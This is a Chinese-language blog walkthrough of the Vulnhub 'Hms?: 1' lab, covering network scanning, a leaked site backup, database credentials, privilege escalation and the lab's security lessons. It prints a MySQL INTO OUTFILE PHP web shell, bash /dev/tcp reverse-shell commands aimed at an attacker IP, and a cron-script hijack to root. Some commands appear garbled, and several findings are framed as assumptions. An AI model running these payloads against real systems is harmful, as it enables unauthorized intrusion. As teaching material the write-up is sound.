ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

从信息收集到权限提升:Hms?: 1靶场渗透测试实战解析

从信息收集到权限提升:Hms?: 1靶场渗透测试实战解析 1. 项目概述一次从零开始的渗透测试实战演练最近在整理自己的渗透测试学习笔记翻到了一个挺有意思的靶机——Hms?: 1。这个靶场在Vulnhub上被标记为“简单”难度发布日期是2021年7月28日。对于刚接触网络安全实战或者想巩固Web渗透和权限提升基础的朋友来说它是一个非常合适的“练手沙盒”。我自己在复现和通关的过程中感觉它设计得挺巧妙的没有特别刁钻的漏洞但把几个经典且实用的攻击链串联了起来从信息收集到最终拿到root权限每一步都很有代表性。简单来说这个靶场模拟了一个存在多处安全缺陷的Linux服务器环境。我们的目标很明确作为攻击者从外部网络发起攻击首先找到进入系统的“大门”即Web应用漏洞然后在这个系统内部“横向移动”或“纵向提权”最终完全控制这台服务器获取root权限。整个过程就像一次完整的“破门而入”和“内部探索”。接下来我会按照实际渗透测试的流程详细拆解每一步的操作、思路以及背后原理并分享一些我踩过的坑和总结的技巧。无论你是想复现这个靶机还是想学习通用的渗透方法论这篇记录都能给你提供一个清晰的路线图。2. 环境搭建与初始信息收集2.1 靶机环境配置与网络发现首先我们需要一个可控的环境来运行这个靶机。我使用的是VMware Workstation将下载好的Hms?: 1的OVA文件导入。这里有个关键点为了模拟真实的内网渗透场景最好将靶机和攻击机我用的Kali Linux设置为同一网络模式比如“NAT模式”或“仅主机模式”。我选择了NAT模式这样两者能互相通信又不会干扰我的物理网络。启动靶机后第一步永远是找出它在网络中的位置。我们不知道它的IP地址所以要用网络扫描工具。最经典的就是nmap。在Kali终端里我运行了以下命令进行存活主机扫描sudo nmap -sn 192.168.xxx.0/24这里的192.168.xxx.0/24需要替换成你虚拟机网络的实际网段。-sn参数代表Ping扫描只探测主机是否在线不进行端口扫描速度很快。扫描结果中除了我已知的Kali本机IP和网关那个陌生的IP地址极大概率就是我们的目标靶机。假设我们发现的靶机IP是192.168.xxx.128。注意在实际测试中如果靶机设置了禁Ping-sn扫描可能会漏报。更稳妥的方法是使用ARP扫描netdiscover或nmap -PR因为ARP协议在局域网内不可被禁止结果更准确。我通常会用sudo netdiscover -r 192.168.xxx.0/24作为补充验证。2.2 全面的端口与服务探测拿到IP后下一步就是“敲门”看看靶机上哪些“门”端口是开着的后面运行着什么服务。这是信息收集的核心。我使用了nmap的全面扫描sudo nmap -sV -sC -O -p- 192.168.xxx.128这个命令参数组合是我个人习惯的“标准套餐”-sV: 探测端口上运行服务的具体版本信息。知道版本号才能搜索对应的已知漏洞。-sC: 使用默认的Nmap脚本进行更深入的探测可能会发现一些默认配置或简单漏洞。-O: 尝试识别目标主机的操作系统。-p-: 扫描所有65535个端口避免遗漏那些开在非常用端口上的服务。扫描Hms?: 1靶机后我得到了类似下面的结果端口号仅为示例需以实际扫描为准PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 3306/tcp open mysql MySQL 5.5.5-10.3.22-MariaDB从结果看靶机开放了三个关键端口22 (SSH): 安全外壳协议用于远程管理。版本是OpenSSH 7.9p1这个版本相对较新公开的严重远程漏洞较少通常不是首要突破口。80 (HTTP): Web服务运行着Apache 2.4.38。这是我们的重点突破口因为Web应用往往逻辑复杂暴露面广。3306 (MySQL): 数据库服务。MariaDB 10.3.22。数据库端口直接对外开放的情况在真实环境中较少见通常只允许本地或内网访问但在靶场中这常常是条重要线索。实操心得nmap -p-全端口扫描非常耗时。在时间有限或对速度有要求时我会先扫描常见端口sudo nmap -sV -sC 192.168.xxx.128快速获取主要服务信息。如果一无所获再祭出全端口扫描。另外将结果保存下来是个好习惯sudo nmap -sV -sC -oA nmap_initial 192.168.xxx.128-oA参数会同时生成三种格式普通、XML、Grepable的输出文件方便后续查阅和分析。3. Web应用渗透与初始立足点获取3.1 网站目录结构与敏感文件发现既然80端口开放我自然首先打开浏览器访问http://192.168.xxx.128。映入眼帘的是一个简单的网站看起来像某个医疗健康管理系统HMS可能代表Health Management System的演示界面。页面本身没有太多交互功能这意味着漏洞可能藏在后台或未被直接链接的页面里。这时我们需要使用目录爆破工具来发现隐藏的目录和文件。我首选gobuster它速度快字典强大。gobuster dir -u http://192.168.xxx.128 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,zip,bakdir: 指定进行目录扫描模式。-u: 指定目标URL。-w: 指定字典文件。common.txt是Kali自带的常用目录字典。-x: 指定要尝试的文件扩展名。这里添加了常见的Web脚本和后缀特别是bak备份文件常常能带来惊喜。扫描结果中除了常见的/images、/css目录外我注意到了一个关键目录/admin。访问它出现了一个管理员登录页面。此外还发现了一个名为/backup的目录访问后可以直接下载到一个ZIP压缩包比如site_backup_20210727.zip。这就是第一个突破口不安全的备份文件泄露。3.2 备份文件分析与源码审计下载并解压这个备份文件。里面很可能包含了网站的完整源代码。我的分析重点集中在配置文件寻找诸如config.phpdatabase.php.env等文件里面可能硬编码了数据库用户名和密码。登录相关脚本login.phpauth.php等分析其认证逻辑寻找漏洞如SQL注入、逻辑缺陷。其他敏感文件robots.txtREADME.md 或者以_bak结尾的文件。在Hms?: 1的备份文件中我很快在根目录下找到了一个config.php文件。打开一看里面清晰地写着数据库连接信息?php define(DB_HOST, localhost); define(DB_USER, hms_user); define(DB_PASS, hms_pass_123); define(DB_NAME, hms_db); ?这是一个典型的敏感信息硬编码漏洞。现在我们有了数据库凭据用户名hms_user密码hms_pass_123。3.3 利用数据库获取Web权限由于之前nmap扫描显示3306端口对外开放我们可以直接用这些凭据连接MySQL数据库。mysql -h 192.168.xxx.128 -u hms_user -p输入密码hms_pass_123后成功进入MySQL命令行。在数据库里我们需要寻找能帮助我们获得Web Shell或反向Shell的数据。通常的思路是查看数据库和表show databases;use hms_db;show tables;寻找用户表很可能存在usersadminmembers这样的表里面可能存储着管理员或其他用户的密码哈希。尝试写文件关键步骤在MySQL中如果当前用户拥有FILE权限并且知道Web目录的绝对路径我们可以通过SQL语句将一段PHP代码写入Web目录从而创建一个Web Shell。首先检查FILE权限SELECT FILE_PRIV FROM mysql.user WHERE userhms_user;如果返回Y则说明有权限。接下来我们需要知道网站根目录的绝对路径。这个信息可以通过多种方式获取查看备份文件中的其他脚本可能包含$_SERVER[‘DOCUMENT_ROOT’]之类的变量。利用数据库查询在某些CMS中可能有存储路径配置的表。通过Web应用错误信息故意触发一个SQL或PHP错误有时错误信息会回显路径。在这个靶场中通过分析备份源码或简单的错误试探我找到了Web根目录假设是/var/www/html。接下来写入一个最简单的PHP Web ShellSELECT ?php system(\$_GET[cmd]); ? INTO OUTFILE /var/www/html/shell.php;这条命令会将?php system($_GET[‘cmd’]); ?这段代码写入到/var/www/html/shell.php文件中。这个文件一旦被访问就可以通过?cmd参数执行任意系统命令。注意事项INTO OUTFILE要求目标文件不存在且MySQL进程对目标目录有写权限。有时会因为权限问题失败。如果失败可以尝试写入到/tmp目录然后看看是否有其他方法能将文件移动到Web目录。另外写入的PHP代码要确保没有语法错误并且注意转义字符。写入成功后访问http://192.168.xxx.128/shell.php?cmdid。如果页面上显示了当前用户的uid和gid信息恭喜你Web Shell生效了我们获得了在Web服务器上执行命令的能力。通常这个用户的权限很低可能是www-data。4. 权限提升从Web用户到系统用户4.1 建立稳定的反向Shell连接通过Web Shell执行命令虽然方便但交互性很差不适合进行复杂的渗透后操作。我们需要建立一个反向Shell将靶机的命令行会话反弹到我们攻击机的监听端口上。首先在Kali攻击机上用netcat监听一个端口例如4444nc -lvnp 4444然后通过Web Shell执行一个反弹命令。由于靶机环境可能有限我们需要尝试多种payload。一个常用的bash反向Shell命令是bash -c ‘bash -i /dev/tcp/192.168.xxx.xxx/4444 01’你需要将192.168.xxx.xxx替换成你Kali攻击机的IP地址。在浏览器中访问http://192.168.xxx.128/shell.php?cmdbash -c ‘bash -i /dev/tcp/192.168.xxx.xxx/4444 01’如果成功你会在Kali的nc监听窗口看到一个来自靶机的bash提示符。但是这个Shell可能仍然是不稳定、没有作业控制无法使用CtrlC的“哑”Shell。我们需要将其升级为完全交互式的TTY Shell。在获取到的反向Shell中依次执行python3 -c ‘import pty; pty.spawn(“/bin/bash”)’ # 或者如果只有python: python -c ‘import pty; pty.spawn(“/bin/bash”)’ # 然后按 CtrlZ 挂起 stty raw -echo; fg # 最后重置终端并设置环境变量 export TERMxterm这样我们就获得了一个功能完整的Shell。4.2 系统内部信息枚举现在我们以www-data这类低权限用户身份进入了系统。下一步目标是提升权限通常需要寻找SUID/GUID特殊权限文件这些文件执行时会以文件所有者通常是root的权限运行。sudo权限当前用户是否可以通过sudo执行某些命令。内核漏洞系统内核版本是否存在公开的本地提权漏洞。计划任务Cron Jobs是否有全局可写的计划任务脚本。环境变量PATH等环境变量是否配置不当。使用一些自动化脚本可以快速收集信息比如linpeas.sh。但手动枚举是基本功。我通常会依次运行以下命令# 查看当前用户和权限 id sudo -l # 如果提示需要密码www-data用户通常不知道密码这一步可能跳过 # 查找SUID文件 find / -perm -us -type f 2/dev/null # 查找全局可写文件或目录 find / -type f -writable 2/dev/null | grep -v /proc | grep -v /sys find / -type d -writable 2/dev/null 2/dev/null | grep -v /proc | grep -v /sys # 查看进程和网络连接 ps aux netstat -tulpn # 查看计划任务 cat /etc/crontab ls -la /etc/cron.*/在Hms?: 1靶机中通过手动枚举我发现在/opt或/home目录下存在其他用户的目录并且其中可能包含一些脚本文件。例如发现一个属于用户john的脚本/home/john/cleanup.sh而这个脚本是以root权限定期执行的计划任务Cron Job。4.3 利用计划任务进行提权查看/etc/crontab文件发现有一行类似* * * * * root /home/john/cleanup.sh这意味着cleanup.sh这个脚本每分钟都会以root身份执行一次。接下来检查这个脚本的权限ls -la /home/john/cleanup.sh如果发现这个脚本全局可写权限为-rwxrwxrwx或包含wfor others那么我们就有了绝佳的提权机会。因为我们可以修改这个脚本的内容加入我们想要执行的命令然后等待最多一分钟它就会以root权限运行。我们可以编辑这个脚本使用echo或vi在末尾添加一行例如# 在cleanup.sh末尾添加 bash -c ‘bash -i /dev/tcp/192.168.xxx.xxx/5555 01’ 同时在Kali上开启另一个netcat监听端口5555。一分钟后你就会获得一个root权限的反向Shell。执行id命令确认用户已经是root。实操心得除了直接反弹Shell更隐蔽的做法是在脚本中添加创建SUID Shell的命令比如cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash。然后执行/tmp/rootbash -p来获得一个root shell。这样做的好处是不需要维持一个网络连接。另外在修改计划任务脚本前最好先备份原内容并在提权成功后恢复这是一种良好的“职业习惯”。5. 总结与核心攻击链复盘回顾整个渗透Hms?: 1靶场的过程攻击链非常清晰涵盖了从外网到内网提权的经典路径信息收集 (Reconnaissance)使用nmap进行端口扫描发现开放的80HTTP和3306MySQL端口。Web目录枚举使用gobuster发现/backup目录下载并分析网站备份文件从中找到数据库硬编码凭据。数据库利用利用泄露的凭据连接外网MySQL服务利用FILE权限向Web目录写入PHP Web Shell。获取初始立足点通过访问Web Shell获得www-data权限的命令执行能力并建立反向Shell实现稳定控制。内部枚举在低权限Shell内进行系统信息收集发现配置不当的Cron Job以root权限执行且全局可写的脚本。权限提升修改该Cron Job脚本插入反向Shell或SUID Shell命令从而获得root权限。这个靶场虽然标记为“简单”但它完美地展示了几个关键的安全教训敏感信息如数据库密码不应硬编码在源码中备份文件不应存放在Web可访问目录数据库服务不应轻易对外开放计划任务脚本的权限必须严格控制。对于学习者而言通关这个靶场不仅仅是记住步骤更要理解每一步背后的“为什么”为什么用这个工具为什么这个漏洞存在为什么这种利用方式有效多问几个为什么再结合其他靶场进行练习才能真正把渗透测试的思维和技能固化下来。我自己在每次打完一个靶机后都会画一张简单的攻击路径图并记录下遇到问题和解决方案这对能力提升帮助巨大。最后记得所有操作都在授权的虚拟环境中进行切勿对未经授权的真实系统进行测试。
返回列表